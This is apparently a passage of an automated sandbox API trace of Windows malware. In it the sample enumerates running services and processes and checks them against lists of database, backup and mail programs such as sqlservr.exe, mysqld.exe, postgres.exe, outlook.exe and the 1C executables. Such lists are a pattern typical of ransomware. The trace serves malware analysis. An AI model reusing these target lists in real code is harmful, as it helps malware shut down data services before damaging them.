lpString2="ShellHWDetection") returned 1 [0218.543] lstrlenW (lpString="Spooler") returned 7 [0218.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0218.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0218.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0218.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0218.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0218.544] lstrlenW (lpString="sppsvc") returned 6 [0218.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0218.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0218.544] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0218.544] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0218.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0218.544] lstrlenW (lpString="SysMain") returned 7 [0218.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0218.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0218.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0218.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0218.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0218.544] lstrlenW (lpString="Themes") returned 6 [0218.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0218.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0218.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0218.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0218.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0218.544] lstrlenW (lpString="TrkWks") returned 6 [0218.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0218.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0218.544] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0218.544] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0218.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0218.544] lstrlenW (lpString="UxSms") returned 5 [0218.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0218.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0218.545] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0218.545] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0218.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0218.545] lstrlenW (lpString="VSS") returned 3 [0218.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0218.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0218.545] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0218.545] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0218.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0218.545] lstrlenW (lpString="WdiServiceHost") returned 14 [0218.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0218.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0218.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0218.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0218.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0218.545] lstrlenW (lpString="WdiSystemHost") returned 13 [0218.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0218.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0218.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0218.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0218.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0218.545] lstrlenW (lpString="WinDefend") returned 9 [0218.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0218.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0218.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0218.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0218.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0218.545] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0218.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0218.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0218.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0218.546] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0218.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0218.546] lstrlenW (lpString="Winmgmt") returned 7 [0218.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0218.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0218.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0218.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0218.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0218.546] lstrlenW (lpString="wscsvc") returned 6 [0218.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0218.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0218.546] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0218.546] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0218.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0218.546] lstrlenW (lpString="wuauserv") returned 8 [0218.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0218.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0218.546] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0218.546] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0218.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0218.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0218.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0218.548] Process32FirstW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.549] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.550] lstrlenW (lpString="System") returned 6 [0218.550] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0218.550] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0218.550] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0218.550] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0218.550] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0218.550] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0218.550] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0218.550] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.551] lstrlenW (lpString="smss.exe") returned 8 [0218.551] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0218.551] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0218.551] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.552] lstrlenW (lpString="csrss.exe") returned 9 [0218.552] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.553] lstrlenW (lpString="wininit.exe") returned 11 [0218.553] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.553] lstrlenW (lpString="csrss.exe") returned 9 [0218.554] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.554] lstrlenW (lpString="winlogon.exe") returned 12 [0218.554] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.555] lstrlenW (lpString="services.exe") returned 12 [0218.555] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.556] lstrlenW (lpString="lsass.exe") returned 9 [0218.556] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0218.557] lstrlenW (lpString="lsm.exe") returned 7 [0218.557] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.558] lstrlenW (lpString="svchost.exe") returned 11 [0218.558] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.559] lstrlenW (lpString="svchost.exe") returned 11 [0218.559] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.559] lstrlenW (lpString="svchost.exe") returned 11 [0218.559] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.560] lstrlenW (lpString="svchost.exe") returned 11 [0218.560] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.561] lstrlenW (lpString="svchost.exe") returned 11 [0218.561] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.562] lstrlenW (lpString="audiodg.exe") returned 11 [0218.562] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.563] lstrlenW (lpString="svchost.exe") returned 11 [0218.563] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.564] lstrlenW (lpString="svchost.exe") returned 11 [0218.564] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.565] lstrlenW (lpString="dwm.exe") returned 7 [0218.565] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.566] lstrlenW (lpString="explorer.exe") returned 12 [0218.566] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.566] lstrlenW (lpString="spoolsv.exe") returned 11 [0218.566] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0218.567] lstrlenW (lpString="taskhost.exe") returned 12 [0218.567] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.568] lstrlenW (lpString="svchost.exe") returned 11 [0218.568] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0218.569] lstrlenW (lpString="taskeng.exe") returned 11 [0218.569] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0218.570] lstrlenW (lpString="taskhost.exe") returned 12 [0218.570] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0218.604] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0218.604] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0218.605] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0218.605] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0218.606] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0218.606] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0218.607] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0218.607] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0218.608] lstrlenW (lpString="always_winds.exe") returned 16 [0218.608] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0218.608] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0218.608] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0218.609] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0218.609] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0218.610] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0218.610] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0218.611] lstrlenW (lpString="alienwed.exe") returned 12 [0218.611] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0218.612] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0218.612] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0218.613] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0218.613] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0218.614] lstrlenW (lpString="mp beginners.exe") returned 16 [0218.614] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0218.614] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0218.614] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0218.615] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0218.615] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0218.616] lstrlenW (lpString="harassment.exe") returned 14 [0218.616] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0218.617] lstrlenW (lpString="francis-communication.exe") returned 25 [0218.617] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0218.618] lstrlenW (lpString="gccinformational.exe") returned 20 [0218.618] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0218.619] lstrlenW (lpString="diploma.exe") returned 11 [0218.619] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0218.619] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0218.620] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.620] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.620] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.621] lstrlenW (lpString="svchost.exe") returned 11 [0218.621] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0218.622] lstrlenW (lpString="sppsvc.exe") returned 10 [0218.622] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.623] lstrlenW (lpString="svchost.exe") returned 11 [0218.623] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0218.624] lstrlenW (lpString="qnuriy.exe") returned 10 [0218.624] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.625] lstrlenW (lpString="cmd.exe") returned 7 [0218.625] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.625] lstrlenW (lpString="conhost.exe") returned 11 [0218.626] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: 